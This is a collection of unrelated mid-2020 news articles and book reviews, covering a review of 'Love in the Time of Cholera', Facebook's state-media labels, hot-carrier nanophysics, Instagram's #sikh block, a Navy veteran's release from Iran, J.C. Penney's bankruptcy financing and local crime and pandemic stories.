His progressive efforts made the city a safer place and rendered him a hero to the citizenry. It also paved the way for his attraction to Fermina Daza whom he meets accidentally due to a clinical error while serving a possible cholera patient: he was distracted and in disarray and ready to forget everything else in life, because he has been struck by the lightning of his love for Fermina Daza.

Though Fermina was at first resistant to this most desirable of bachelors, their marriage was One of the most spectacular of the final years of the last century. However, it presaged much misunderstanding and disappointment over its fifty year tenure. Looming quietly over the union was the watchful Florentino Aviza.

Florentino fell in love at first sight with Fermina years before and, unable to break into the Catholic seclusion of her home life, he wooed her by letters. While he briefly succeeds in becoming engaged to her, she rejects his love when Dr. Urbino makes his presence felt.

Deeply disappointed, Florentino pledges to wait for her, hoping she will outlive her husband. He keeps that sacred commitment for over fifty years. Then, when Dr. Urbino dies in an accidental fall, the ever-patient Florentino is ready and waiting.

The novels final section dramatizes his continuing quest to woo her as they sail inland along the Great Magdalena River on a riverboat owned by Florentinos company.

It ends with the two wishing never to return to the world they have known all their lives. Love has apparently triumphed and Marquezs last word is Forever, uttered by Florentino himself.

Romance thus flowers in a world of ongoing problems  the persistent cholera, the deforestation along the river, lengthy amorous misunderstandings, and, surprisingly, Florentinos many long-term liaisons, some with ugly consequences.

Marquezs story is a balancing act of great deftness and inescapable duality  romantic love and disease persist and interact even as Florentino finally succeeds in his single-minded, amorous quest.

Psychologists of love beware!
Social media giant Facebook on Friday announced that it will start labeling posts by media outlets that are under the partial or editorial control of the government. The company also said that they would block ads from the government-influenced media outlets.

Facebook said that labels will appear on the Ad Library Page view, on Pages, and in the Page Transparency section. The users in the US will also get to see the labels in their News Feeds by next week.

"Several months ago, we announced our plan to label media outlets that are wholly or partially under the editorial control of their government, and today we're starting to apply labels to those state-controlled media outlets. We're providing greater transparency into these publishers because they combine the influence of a media organization with the strategic backing of a state, and we believe people should know if the news they read is coming from a publication that may be under the influence of a government. And to ensure we're equally transparent when it comes to paid content from these publishers, we will begin labeling ads from these publishers later this year," Nathaniel Gleicher, Head of Cybersecurity Policy said in a blog post.

The social media giant has stated that the motive behind labeling posts that are controlled by the government is to inform users about who runs the media outlets. Facebook said that it will begin blocking ads from the state-controlled media outlets in the US "to provide an extra layer of protection against various types of foreign influence in the public debate ahead of the November 2020 election in the US."

Facebook claimed that it has consulted more than 65 experts around the world specializing in media to know how a media outlet becomes "state-controlled".

"The input we received from these organizations was crucial to understanding the different ways and degrees to which governments exert editorial control over media entities. We know that governments continue to use funding mechanisms to control media, but this alone doesn't tell the full story. That's why our definition of state-controlled media extends beyond just assessing financial control or ownership and includes an assessment of editorial control exerted by a government," Gleicher said in the blog.

Facebook was recently in news for its handling of Donald Trump's latest posts. CEO Mark Zuckerberg faced a backlash from its own employees for not taking any action against Trump's activities on the social media platform.
To answer a question crucial to technologies such as energy conversion, a team of researchers at the University of Michigan, Purdue University and the University of Liverpool in the U.K. have figured out a way to measure how many "hot charge carriers"--for example, electrons with extra energy--are present in a metal nanostructure.

"For example, if you wanted to employ light to split water into hydrogen and oxygen, you can use hot charge carriers because electrons that are more energetic can more readily participate in the reaction and drive the reaction faster. That's one possible use for hot carriers in energy conversion or storage applications," said Edgar Meyhofer, a professor of mechanical engineering at U-M, who co-led the research.

Vladimir Shalaev, a professor of electrical and computer engineering, led the contribution from Purdue. The findings also confirm that thinner metals are more efficient at using light for generating hot charge carriers. Light can drive the motion of electrons on the surfaces of materials such as gold and silver, creating waves known as surface plasmons. These waves, in turn, can generate hot charge carriers.

The researchers compared the usual distribution of charge carrier energies to air at room temperature: The molecules in air do not all have the same energy--their average energy is reflected by the temperature. The energies of negatively-charged electrons and positively-charged holes ordinarily follow similar distributions within a material. But in materials that support surface plasmons, light can be used to give extra energy to some charge carriers as though the material were much hotter--more than 2,000 degrees Fahrenheit.

The team created the hot charge carriers by shining laser light onto a gold film just 13 nanometers thick, or hundred or so gold atoms thick, with tiny ridges spaced so that they would resonate with the laser light and generate the surface plasmon waves. Then they measured the energies of the charge carriers by drawing them through gatekeeper molecules into a gold electrode--the tip of a scanning tunneling microscope.

The key to the experiment is those gatekeeper molecules, which were synthesized by the Liverpool team as well as a private company. The molecules allow only charge carriers with certain energies to pass. By repeating the experiments with different molecules, the researchers figured out the energy distribution of the charge carriers.

"Electrons can be thought of as cars running at different speeds on a highway. The molecule acts like an operator--it only allows cars travelling at a certain speed to pass through," said Kun Wang, a postdoctoral fellow in Meyhofer's group.

The researchers also compare it to a prism that separates the spectrum of electron energies rather than the colors in light.

Wang spent more than 18 months working with Harsha Reddy, a Ph.D. student in electrical and computer engineering at Purdue, on how to make this idea work.

"This idea of molecular filters was something no one else in the field has realized in the past," said Reddy, who works in Shalaev's lab.

Once they had developed a successful method, Wang and Reddy repeated the experiments with a second gold structure, this one about 6 nanometers thick. This structure generated hot charge carriers more efficiently than the 13 nanometer version.

"This multidisciplinary basic research effort sheds light on a unique way to measure the energy of charge carriers. These results are expected to play a crucial role in developing future applications in energy conversion and photocatalysis and photodetectors, for instance, that are of great interest to the Department of Defense," said Chakrapani Varanasi, program manager of the team's Multidisciplinary University Research Initiative funded by the Army Research Office.

With the method now demonstrated, the team believes that others can use it to explore and optimize nanostructures. This is important in applications such as converting sunlight to chemical energy because the number of hot charge carriers affects how well a catalyst can direct light energy toward a chemical reaction.

###

The study is published in the journal Science. Additional funding came from the Department of Energy and the Office of Naval Research. Seed funding from the U-M Department of Mechanical Engineering supported complementary calculations.

Study abstract: Determining plasmonic hot-carrier energy distributions via single-molecule transport measurements

Edgar Meyhofer Pramod Sangi-Reddy Vladimir Shalaev
Instagram users have been reporting an error message upon the search of #sikh hashtag on the social media app.

Instagrams PR Team has now admitted that the hashtag was being blocked because of a mistake in their processes and that the team has now unblocked it.

AP

The hashtag #sikh had been blocked on Facebook as well as Instagram since March 7. The Instagram team got aware of the mistake on Wednesday through feedback from the apps users.

Since then, the team now claims to have unblocked the hashtag on both the platforms.

Upon being aware of the fault, the team started investigating its cause. Within hours, it posted an update that these hashtags were mistakenly blocked on March 7th following a report which was inaccurately reviewed by the Instagram teams.

It said that its processes fell down here and has apologised to its users for the same. It's never our intention to silence the voices of this community, it says.





Earlier searches for the hashtag yielded an error message - Posts for this hashtag are temporarily hidden because of unusual activity that may not meet Instagrams Community Guidelines.

Noticing the fault, several twitter users raised the issue with Instagram, tagging both the companys as well as its CEO Adam Mosseris twitter account. A particular tweet by Sikh Press Association read, Why has Instagram blocked the hashtag #Sikh @instagram @mosseri? In the same week that #Neverforget1984 trends on Twitter, Instagram seemingly conspires to suppress the truth about the atrocities of the 1984 Sikh genocide by censoring the faith of 27 million people.

Instagrams PR team took to Twitter to respond, saying - This is an incredibly important, painful time for the Sikh community. We designed hashtags to allow people to come together and share with one another. It's never our intention to silence the voices of this community, we are taking the necessary steps so this doesnt happen again.

Twitter/ Instagram Comms

Instagram was caught in the middle of a similar controversy only days ago when the apps hashtag monitoring system prevented users from posting with the hashtag #BlackLivesMatter. At the time, Instagram blamed it on an incorrect spam detection by the system.
BAD AXE, MI  A Huron County man suffered a bullet wound to his shoulder  a wound that was initially only treated with a Band-Aid  when target shooters fired an errant round into his house.

Just before 9:45 p.m. on Thursday, June 4, a Huron County Sheriffs deputy responded to a residence in the 500 block of Unionville Road in Fairhaven Township for a target shooting incident. This is the second time this week such an incident has happened in the same township, noted Sheriff Kelly J. Hanson.

The deputy learned a 53-year-old man from Woodhaven and a 50-year-old man from Lincoln Park had been at their cottage shooting a 9mm handgun. About five hours earlier at 4:30 p.m., one of the two men fired the gun into a wooded area, Hanson said.

The round passed through the woods and through a wall of a neighboring house, striking the 49-year-old male resident in his shoulder. The man had previously suffered a closed head injury, the sheriff added.

The wounded man went over to where the shot had come from and talked to the two men with the gun.

They in turn looked at the injury and thought it was just a flesh wound, Hanson said. They then put a Band-Aid on his wound and the victim went home.

When the wounded mans sister returned home about five hours later, she discovered the injury and found out what had happened. The victim was taken to Scheurer Hospital for treatment and it was found to be more than a flesh wound, Hanson said.

The victim was later taken to an out-of-county hospital for treatment of what was believed to be a non-life-threatening injury.

The responding deputy confiscated the gun in question and will be consulting with the prosecutors office on the incident, Hanson said.

The prior, unrelated incident occurred the evening of May 30 in the 10,000 block of Weale Road in Fairhaven Township. In that instance, a woman was walking in her home when a bullet was fired into hit and went whizzing by her head, the sheriff previously said.

Another resident went outside and heard a vehicle drive off, then took off after it, deputies report. The resident quickly located and stopped the vehicle in question, which was occupied by a 20-year-old man from Mussey and a 19-year-old man from Bad Axe.

Both men in the vehicle admitted to target shooting on state land across from the residence, but stated they didnt know there was a house in the area of where they were shooting, deputies report.

Turned out that not only was there one hole in the house, there were three others, too, Hanson said. Apparently, while target practicing, the two decided to shoot at a Do Not Pass sign, which was on the opposite side of the road from the state land. When doing so, the bullets from their .22 rifles strayed into the house.

Deputies confiscated the two mens guns.

As asked earlier this week, target shooters are advised to always exercise extreme caution when shooting, Hanson said. These incidents can be avoided when safety is put first.

Related:

Stray bullet whizzes by womans head inside her home in Michigans Thumb

Man charged in shooting that injured woman while teaching her how to use gun
Lisa Ackerman-Baldwin (L) fills out a receipt for a customer inside her recently reopened A&P Collectibles store in Old Towne Orange, Calif., on May 30, 2020. (Chris Karr/The Epoch Times)

An Old Towne Gets Through Todays Challenges

ORANGE, Calif.Old Towne Orange in California is a place of antiques and curiositiesmost of its buildings are more than 100 years old and house small specialty shops.

Its not a place for essential services. Its a place for leisurely days of window shopping and dining in cozy restaurantsthe kind of days people have yearned for amid stay-at-home orders.

The historic town took on a ghostly feel during the shutdown. But its been the perfect place for people to again start enjoying the simple pleasures in life, not just getting out for the bare necessities.

And even throughout the closures, this tight-knit community did its best to keep its shop owners in business.

Kristine Houston owns Elsewhere Vintage and Joyride Vintage, two shops that have operated for 12 years in Old Towne Orange. She specializes in rare, vintage clothing and accessories.

Like many other local businesses, in what has been called the the antique capital of California, she relies heavily on foot traffic. People come to browse collectibles all in one place, moving from shop to shop. Online sales werent much of an option for her.

But her regular customers did make a point of supporting her while she was closed. Many reached out via email to buy items or gift certificates, because they want to make sure that were still going to be here, she told The Epoch Times.

A lot of our regulars have made a really big point of shopping with us  so thats been really helpful.

Hats line the shelves above vintage suits inside the Joyride Vintage shop in Old Towne Orange, Calif., on May 30, 2020. (Chris Karr/The Epoch Times)

Matt De Vaul, a lifelong Orange resident, owns MMD Antiques, which specializes in rustic industrial furniture, home goods, and all kinds of bric-a-brac. He reopened on April 24, before Gov. Gavin Newsom eased the stay-at-home mandates. His debt and desperation were mounting. But since Memorial Day weekend, hes seen a boom.

Business all weekend was booming, he said. Hundreds of people [were] out.

I have rebounded, plus, he said. The support has been amazing. People want to help [and] shop. They want to feel normal again. I hear that a lot.

Matt De Vaul stands amid the assortment of curious collectibles in his MMD Antiques shop in Old Towne Orange, Calif., on May 30, 2020. (Chris Karr/The Epoch Times)

Matt De Vaul (L) shows customers one of the collectibles in his MMD Antiques shop in Old Towne Orange, Calif., on May 30, 2020. (Chris Karr/The Epoch Times)

De Vauls shop is a few steps from the central plaza that is the heart of the city, De Vaul said. Ive been meeting friends at the Orange Circle my entire life.



At the center of the circle is a century-old white fountain. While the streets around it havent changed a lotthe town has maintained its historic characterrecent events have changed the flow of life around it.

The pandemic halted for some time the stream of locals and visitors that would usually congregate in the circle to enjoy a chat or a rest on its benches.

The century-old fountain in Old Towne Oranges center circle, which has been a place of gathering for generations, is pictured on May 30, 2020. (Chris Karr/The Epoch Times)

But a steady trickle of people has returned. Less than a block from the circle, down Glassell Street, is Tiddlywinks Toys and Games, owned by Gilbert and Jeanie Viveros.

Its a very tight-knit community, Jeanie Viveros told The Epoch Times. The concept of community is very, very strong here.

They opened the shop in 2012, hoping for their store to be an inviting place of magic, wonder, and whimsy.

Jeanie and Gilbert Viveros stand inside their reopened store, Tiddlywinks Toys and Games, in Old Towne Orange, Calif., on May 30, 2020. (Chris Karr/The Epoch Times)

All of the stores [have] the quaintness of a Main Street area that isnt very prominent in Southern California, Viveros said. Thats what makes this so unique.

She reopened the last weekend of May.

We didnt expect to open so soon, she said. The whole opening of the area has been very sudden.

Her customers have been thrilled to have some semblance of normal. You know, its like, Woo-hoo, we get to go shopping again!

Amid the old-town charm, the signs of todays challenges are visible.

Watsons, Californias first soda fountain, is seen in Old Towne Orange, Calif., on May 30, 2020. (Chris Karr/The Epoch Times)

The historic district of Old Towne Orange, Calif., is reopened for business, amid Californias gradual lifting of stay-at-home orders, on May 30, 2020. (Chris Karr/The Epoch Times)

Some signs in shops urge customers to wear masks. The toys Viveros usually leaves out for playa part of the whimsical experience her shop usually offershave been put away. The stuffed animals are bagged to keep them sterile.

Our customers know that we constantly clean every single night, Viveros said. This is just the next step upmaking it comfortable for them, and reassuring them that were doing everything that we can.
WASHINGTON  A U.S. Navy veteran whose family said his only crime was falling in love left Iran on Thursday after nearly two years of detention, winning his freedom as part of a deal that spared an American-Iranian physician from any additional time behind bars.

Michael White flew from Tehran to Zurich, where he was met by diplomat Brian Hook, the U.S. special envoy for Iran who has led the negotiations for the release of White and other American detainees in Iran. White and Hook then departed Zurich on a U.S. government plane.

In Atlanta, meanwhile, a federal judge approved a sentencing agreement for Florida dermatologist Matteo Taerri, who had been charged by the Justice Department with violating U.S. sanctions on Iran as well as banking laws.

The developments capped months of quiet talks, assisted by Switzerland, between two countries, that are at bitter odds over U.S. penalties imposed after President Donald Trump withdrew the U.S. from the 2015 nuclear deal and over the killing by American forces of a top Iranian general in Iraq at the beginning of this year.

White, of Imperial Beach, California, was detained by Iranian authorities in July 2018 while visiting a woman he had met online and fallen in love with. He was convicted of insulting Irans supreme leader and posting private information online, and was sentenced to a decade in prison.

I am blessed to announce that the nightmare is over, and my son is safely in American custody and on his way home, Whites mother, Joanne White, said in a statement.

As White flew to Switzerland, U.S. prosecutors completed the American part of the arrangement that Hook negotiated by asking a judge to sentence Taerri to time served on his conviction stemming from the 2018 charges. U.S. officials said Taerri did not pose a national security threat. We were simultaneously able to secure the release of an American Navy veteran from an Iranian prison and accomplish our law enforcement objectives, Hook said.

There are numerous foreign policy interests that are furthered by this particular sentence, U.S. District Judge Leigh Martin May said in granting the governments request.

Taerri was charged with attempting to export a filter to Iran that he said was for vaccine research but that U.S. authorities said required a license because it could be used for chemical and biological warfare purposes. He was also accused of structuring a series of bank deposits below $10,000 to evade reporting requirements under federal law.

He pleaded guilty late last year and has already served months behind bars. But in April, he was permitted to be free on bond after the Justice Department withdrew its request to have him detained, citing what it said were significant foreign policy interests.

The United States government and the government of Iran have been negotiating the release of a U.S. citizen held in Iranian custody, Assistant U.S. Attorney Tracia King said at Thursdays hearing. This case, and more specifically the sentence recommendation, is directly related to these negotiations.

A citizen of Iran and the United States, Taerri is permitted as part of his sentence to remain in America and to travel abroad.

Whites release was cheered by Trump, whose administration has said it considers the release of detainees and hostages a priority. I will never stop working to secure the release of all Americans held hostage overseas! he tweeted. He tweeted later in the day that he had spoken by phone with White.

In an interview with Fox News after his release, White praised Trump for his efforts both diplomatically and otherwise and said he is making America great again.

A spokesman for the White family, Jon Franks, said in a statement that the charges against White were pretexts for a state-sponsored kidnap-for-ransom scheme. He added: The tragedy of this case is Michaels only crime was falling in love with Iran and its people for whom he cares deeply.

Despite widespread speculation, Whites release was not related to the recent deportation to Iran of Iranian scientist Sirous Asgari, the officials said.

Irans foreign minister, Mohammad Javad Zarif, tweeted that such deals can happen for all prisoners. No need for cherry picking. Iranian hostages held in  and on behalf of  the US should come home. Trump also said the arrangement shows a deal is possible.

White was released from prison on a medical furlough in March as Iran struggled to cope with the coronavirus outbreak, and turned over to the Swiss Embassy in Tehran, which represents U.S. interests in Iran. Whites mother had earlier told The Associated Press that she was especially concerned about her sons health because of his battles with cancer.

Trump administration officials in recent months stepped up public pressure to release White. Last month, for instance, Secretary of State Mike Pompeo mentioned White by name and thanked Switzerland for its work on arranging the furlough.

The U.S. has also urged Iran to release other Americans jailed in Iran.

Siamak Namazi, an Iranian-American, remains in Irans Evin prison after being convicted of collaborating with the United States  charges a U.N. panel has said are bogus. Morad Tahbaz, an Iranian with U.S. and British citizenship, was part of a group of environmental activists sentenced on espionage charges and remains in custody.

Namazis brother, Babak, said he was happy for the White family but distressed that his brother was not released. He also noted that his 84-year-old father, Baquer, who was also convicted, is out of prison but has not been permitted to leave Iran despite his poor health.

In December, Iran released Xiyue Wang, a Chinese-American Princeton University scholar held for three years on widely disputed espionage charges, in exchange for the release of a detained Iranian scientist after Hook led negotiations for the U.S.

In March, the family of former FBI agent Robert Levinson, who vanished in Iran 13 years ago, said they had been informed that U.S. officials had determined that Levinson was probably dead.
A predator who attempted to kidnap a woman while high on ice told the woman 'I want you' as he choked and punched her.

Beau Thomas Andrew Burke, 22, had injected himself with three-points of methamphetamine and stole his neighbour's ute before he stopped to ask the 24-year-old woman for directions.

It was then Burke lunged at the woman, placed her in a headlock and tried to drag her into the vehicle as she stood outside the North Rockhampton Hotel, in Queensland, during the attack on May 13.

Beau Thomas Andrew Burke had injected himself with three-points of methamphetamine and stole his neighbours ute when he approached the woman he would attempt to kidnap

The 24-year-old woman was standing outside a North Rockhampton hotel in Queensland, at 12.15am on May 13 waiting for her partner, when Burke asked her for directions (pictured ute outside the hotel)

The victim, whose head was hit so hard she could taste blood in her mouth, asked Burke what he wanted from her but he made the chilling response, the Courier Mail reported.

Burke attempted to gag the woman who was then able to sound the ute's horn, alerting a member of the hotel and her partner.

Her partner and the hotel staff member came running out to assist her when Burke let the woman go and sped off in the ute.

Police were alerted and Burke sent them on a wild 30km chase at the speed of 120km/h despite one tyre being popped.

Burke crashed the ute and once police arrived her was nowhere to be found.

Police dog Griffin and his handler tracked the accused into long grass before arresting him.

Appearing via videolink at Rockhampton District Court, Burke appeared to shake his head when his actions were repeated in court.

His defence told the court that he was sorry for his actions that night and the trauma it caused his victim.

Burke attempted to gag the woman who was then able to sound the ute's horn, alerting a member of the hotel and her partner

Police dog Griffin and his handler tracked the accused into long grass before arresting him

They explained that when Burke injected himself with meth, the person who provided the drugs told him to find a woman and 'give her a scare', the court heard.

His helpless target issued a victim impact statement explaining the significant impact the incident has had on her.

She told the court that she does not feel safe around men she doesn't know and is hypervigilant, Courier Mail reported.

Judge Michael Burnett noted that Burke was still young and had an exceptional work history.

He ordered Burke to move back in with his parents, return to work and that it would be better suited to do community-based rehabilitation.

He was sentenced to five years' prison with immediate parole.
Local people are dying of manageable chronic illnesses and toughing out abdominal pain for so long that their appendix ruptures before they seek help.

They were afraid if they came to the hospital, theyd be exposed to the new coronavirus, so they toughed it out at home. As a result, they had complications that could have been prevented. Some even lost their lives, Saratoga Hospital President and CEO Angelo Calbone said in a written message to the public.

The hospital has just two COVID-19 patients right now and has never been overwhelmed by the virus.

Glens Falls Hospital has also never had more than a handful of coronavirus patients, and yet people are staying away.

Youre not going to get sick by going to the hospital. Were going to make you better, Saratoga Hospital Chief Medical Officer Dr. Richard Falivena said.

Several patients at Saratoga Hospital have died because they waited so long before going to the hospital. Others ended up extremely ill.

At one point, the hospital had 12 people on ventilators. Usually, the hospital only uses two at any given time. But it wasnt because of the pandemic. Only three ventilators were being used by coronavirus patients.

The other nine were for people who just stayed home too long, he said.

Their primary medical problems were heart and lung illnesses, such as heart failure. In that case, a lot of fluid can build up around the heart, and the patient is treated in a regular hospital room for a short time.

Usually we can get the fluid off with medications, he said.

But some of those who delayed had so much fluid that they had to be rushed to intensive care and placed on a ventilator to keep them breathing while the fluid was removed.

They have so much fluid that it takes days instead of hours, and they didnt have days of reserve, he said.

In the past, he added, people with chronic illness recognized the warning signs and came to the hospital earlier.

We didnt see this a year ago, he said.

People who get suddenly ill are also risking their lives by staying away too long.

Before the pandemic, people who experienced sudden, severe abdominal pain usually got to the Emergency Department within 12 hours of the pain starting, he said.

Instead of waiting 12 hours to come to the hospital, they wait a few days, he said. Then they have a ruptured appendix.

That is a life-threatening situation.

Weve had more ruptured appendix in the last three months than in the last year, he said.

Hes begging people to listen to their bodies.

That attitude that the hospital is not safe is completely wrong, he said.

Primary care doctors have also told him that when they advise a patient to seek emergency care, the patient often says, Im going to wait it out.

He thinks people believe the brief but disastrous situation at New York City hospitals is happening locally.

Its nothing like that, he said.

Those who are not familiar with Saratoga Hospitals Emergency Department might also worry about sitting in a waiting room with dozens of others, who might have coronavirus. But that is not the case either.

We have a modern Emergency Department. Weve gone to a no-waiting room. We dont have people sitting around. They go straight to triage and to their own room, he said. You come to the ED, whether you drive in or you come by ambulance, you will be taken directly to your own room and be safe there.

There are 36 rooms, enough to handle almost any sudden influx, except, perhaps, for the aftermath of a major concert at SPAC, he said. But with SPAC closed, he said he was confident no one would be waiting in a group this summer.

Locally and statewide, the number of new cases is dropping.

On Friday:

Warren County reported no one new had tested positive. The county has a total of 244 confirmed cases, but only one new case in the last week. One person is hospitalized, in critical condition. Two more people have recovered, for a total of 230 recoveries, including 26 people who got sick before testing was widely available and have not been counted in the confirmed cases figure. Seven people are still ill.

Washington County reported one person tested positive, for a total of 208 confirmed cases. One person is hospitalized and a total of 10 people are still ill. There were no more recoveries overnight; 185 people have recovered over the course of the outbreak.

Saratoga County reported two more people tested positive, for a total of 500 confirmed cases. There were no additional recoveries reported; 434 people have recovered and 51 people are still ill. Five people are hospitalized.

Essex County reported no change, with a total of 53 cases but only one person still ill.

Saratoga Hospital reported two coronavirus patients and Glens Falls Hospital reported three.

Statewide, about 1,700 people are still hospitalized, Gov. Andrew Cuomo said at Fridays press conference.

On Thursday, 42 people died, including 10 people in nursing homes.

The lowest number since we started. Eight weeks ago we had 800, Cuomo said of the deaths. So we know we can change and we know we can change dramatically.

You can reach Kathleen Moore at 742-3247 or kmoore@poststar.com. Follow her on Twitter @ByKathleenMoore or at her blog on www.poststar.com.

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An Indian Army soldier from Tamil Nadu was killed in the ceasefire violation by Pakistan on the Line of Control (LoC) in Sunderbani sector of Rajouri district in Jammu and Kashmir late on Thursday, officials said on Friday.

Defence spokesperson Lt Col Devender Anand said Havaldar Mathiazhagan P died in the shelling on Thursday night and added that he belonged to Sreerangai Kadu village in Tamil Nadus Salem district.

Our troops responded strongly to the enemy fire. In the incident, Havaldar Mathiazhagan P was critically injured. The soldier was evacuated to Army Hospital, where he succumbed to the injuries, Lt Col Anand said.

Mathiazhagan P was a brave, highly motivated and a sincere soldier, Anand said.

The nation will always remain indebted to him for his supreme sacrifice and devotion to duty, he added.

His body will be taken by road from Akhnoor to Jammu and then to Delhi in an aircraft. From the national capital it will be taken to Coimbatore, the official said.

Pakistan also violated the ceasefire in the front sector of Poonch district on Thursday night.

Also Read: Ahead of talks with China over Ladakh standoff, India signals a realistic approach

The army officer also said that Pakistan initiated unprovoked fire at about 10:45pm with small arms and shelling with mortars along the Line of Control (LoC) in Kirni sector in adjoining Poonch district.

The Indian Army is retaliating befittingly, he added.

The spokesperson said that a large scale search has begun in Kalakote of Rajouri district after a terrorist was killed by security forces in an operation in the area late on Thursday.

Acting upon hard intelligence, security forces eliminated one terrorist in Dharmsal village in Kalakote area of Rajouri district, he said.

According to a local, security forces exchanged fire with terrorists in Dharmsal village around 8.15pm on Thursday.

Also Read: In rebuttal to Pak, India quotes Imran Khans 40,000 terrorists remark

There has been a spurt in terror attacks and infiltration bids in Jammu and Kashmir during the lockdown to prevent the spread of the coronavirus disease (Covid-19).

Pakistan has been relentlessly opening heavy fire on Indian posts and villages along the 744-km LoC for more than two and a half months.

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J.C Penney is moving forward with its debtor-in-possession financing.

During the course of a five-hour hearing on Thursday, the retailers $900 million DIP package got the green light from the Texas bankruptcy judge in the case. The retailer has said the DIP includes $450 million in new money, of which Thursdays approval paves the way for the retailer to receive the first $225 million. The other half of the overall DIP would be used to pay its pre-petition secured debt.

This is a positive step forward that will help us execute our Plan for Renewal and store optimization strategy, continue working seamlessly with our vendor partners, fund our ongoing business operations and continue our focus on further developing the companys go-forward business plan to successfully restructure J.C. Penney, Jill Soltau, chief executive officer of J.C. Penney, said in a statement Thursday after the hearing.

J.C. Penney also signaled on Thursday that it is moving forward with its ongoing store reopening plan since the coronavirus pandemic temporarily shut its doors. The retailer, which has some 850 locations and 85,000 employees, has already reopened some 304 locations, and is opening an additional roughly 170 stores this week, its advisers said.

But the company also disclosed plans to close stores, starting with 154 locations. After a hearing on the closures that is scheduled for June 11, the company said it will start store closing sales at those locations, which it said would take 10 to 16 weeks. The company said it also expects additional phases of store closing sales will begin in the coming weeks.

While closing stores is always an extremely difficult decision, our store optimization strategy is vital to ensuring we emerge from both Chapter 11 and the COVID-19 pandemic as a stronger retailer with greater financial flexibility to allow us to continue serving our loyal customers for decades to come, Soltau said in a statement Thursday.

Story continues

The DIP financing package had drawn objections from the unsecured creditors committee, which had argued that the terms give lenders too much leverage to potentially switch the case to a liquidation, or pursue some type of sale later in the case. The retailer has a July 15 deadline to firm up a business plan, or potentially switch to some sort of sale at that point.

The committee had argued also that the DIP involved liens on the retailers unencumbered property, including what it described as hundreds of millions of dollars worth of real estate. That potentially jeopardizes the retailers ability to repay its administrative creditors, who are providing goods and services during the bankruptcy and project to be owed tens of millions of dollars, the committee had argued.

U.S. bankruptcy judge David Jones acknowledged some of those concerns, but said Thursday that the retailers bankruptcy and DIP negotiations took place under the unusual strains of the coronavirus pandemic that shuttered stores for months.

This is, if we were in a perfect world, this financing package would be highly objectionable, he said at the hearing. [But] Ive been in enough of these cases. I will not let this case languish. I will not let it become bogged down in fights that fail to recognize the big picture, and whats at stake.

The DIP package, supported by J.C. Penneys first lien lenders, on Thursday also got the support of a so-called crossholder lender group, which collectively holds roughly 16 percent of the retailers first lien loans. Those lenders agreed Thursday to participate in $53 million of the DIP that would be rolled up into paying the retailers secured pre-petition debt.

But the retailers future appears to be in the hands of its first lien lenders supporting its restructuring agreement, who together hold 73 percent of the retailers first lien debt. Those include the funds Ares, Brigade, H/2 Capital Partners, Silver Point, KKR, Sculptor Capital, Sixth Street Partners, White Box, Owl Creek and Apollo.

These lenders are going to be accountable for the ultimate outcome in this case, Joshua Sussberg of Kirkland & Ellis LLP, which represents J.C. Penney in the bankruptcy, said at the hearing.

The sole path to preserving as many jobs as possible is this financing from our majority lenders, the structure we negotiated, and the chance to spend the next 45 days convincing those nine funds that it makes more sense to keep this company alive than liquidate it in pieces, he said.

The company has roughly $559 million in its short-term investment account, but despite having that fairly substantial amount of cash on hand, it expects to burn through that cash in the coming weeks, according to testimony Thursday by James Mesterharm, a managing director at AlixPartners LLP, and restructuring adviser to J.C. Penney since March.

The company expects to be left with somewhere between $400 million to $500 million in cash on hand by that crucial mid-July deadline, in light of its running at a deficit.

The unsecured creditors were basically arguing for a plan to ensure that the administrative creditors get paid, even if at that point in July, the retailer is bound for some type of sale.

The judges ruling was expected, especially in light of the choices he had in front of him, Cathy Hershcopf of Cooley LLP, who represents the creditors committee, told WWD after the hearing.

He could have at least thrown some shade on the debtors with respect to the issue of: are the administrative expenses going to be paid with the cash on hand, if theres a toggle to a sale? she said.

My plea to the judge was, give a soft landing to the administrative creditors, should the dream not come true, she said.

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The Lincoln Conspiracy

By Brad Meltzer and John Mensch

Flatiron. 432 pp. $29.99

---

So entrenched and revered is Abraham Lincoln in America's national myth that it is almost impossible to imagine what the country would look like without his presidency. There's the real possibility it wouldn't exist at all - at least not as the still functioning, if admittedly strained and battered, United States. It is startling to read, then, how close the nation came to losing its most consequential and important president (with apologies to our current president, of course) before he was even sworn in.

In "The Lincoln Conspiracy: The Secret Plot to Kill America's 16th President - and Why It Failed," Brad Meltzer and Josh Mensch provide a remarkable and often riveting account of an alleged plot to kill Lincoln in Baltimore on the way to his inauguration in Washington in February 1861. Historians still disagree on the details of the plan, including how many conspirators were involved and how great a threat it presented to the president-elect. But as the authors recount in the book's opening scene, the threat was taken seriously enough that Lincoln was disguised as the "invalid" brother of a young woman and sneaked into Washington early on an overnight train to thwart the anticipated attempt on his life.

The young woman accompanying Lincoln, it turns out, was Kate Warne, an undercover agent working for Allen Pinkerton, whose nascent detective agency had been charged with ferreting out the threat against Lincoln and delivering him safely to Washington. The description of the subterfuge required to smuggle him to the nation's capital can seem almost unfathomable to Americans who uphold the peaceful exchange of power as one of the country's greatest political achievements.

"When he first entered the passenger car and she guided him to his seat, he pulled the brim of his low felt hat down over his face so that no one could see it," the authors write about Lincoln as he boarded the train in Philadelphia. "Now, he lies behind a curtain in one of the sleeper berths, hidden from view. Because of his unusual height, he cannot stretch out his legs, so he keeps them bent. . . . The engineer, conductor, staff, and other passengers have no idea he's aboard. But there he is - hiding in their midst."

How did it reach the point that Lincoln was so despised that his life was in jeopardy even before he took office? Why had such antipathy toward him built up in Baltimore? And who were the men who meant to kill him?

Drawing from contemporaneous accounts and biographies of the central characters, Meltzer and Mensch use Lincoln's two-week journey by train from his home in Illinois to his under-cover-of-darkness arrival in Washington as a gripping narrative to revisit the discovery of the assassination plot and the frantic efforts to prevent its success.

In their briskly paced telling - each of the book's 81 chapters is just a few pages long - the authors provide a robust historical framework and explain how a figure named Cypriano Ferrandini, a barber to Baltimore's elite and a staunch supporter of the slaveholding South, would come to be seen as the lead organizer of this murderous plot. While Lincoln is waving to whistle-stop well-wishers in the North, Pinkerton and his detectives operate undercover in proslavery Baltimore and join secret Confederate societies to learn more about the threat.

Meltzer, a best-selling thriller author, and Mensch, a documentarian and producer, have been down the conspiracy path of American history before. Their 2019 bestseller, "The First Conspiracy: The Secret Plot to Kill George Washington," recounted the 1776 attempt by the Tory-supporting New York governor and New York City mayor to enlist Washington's bodyguards in an effort to take him down. While their Washington book explored the divisions in colonial America between loyalists to the crown and revolutionaries, the focus of the Lincoln book is how deeply riven the nation is by the slavery question.

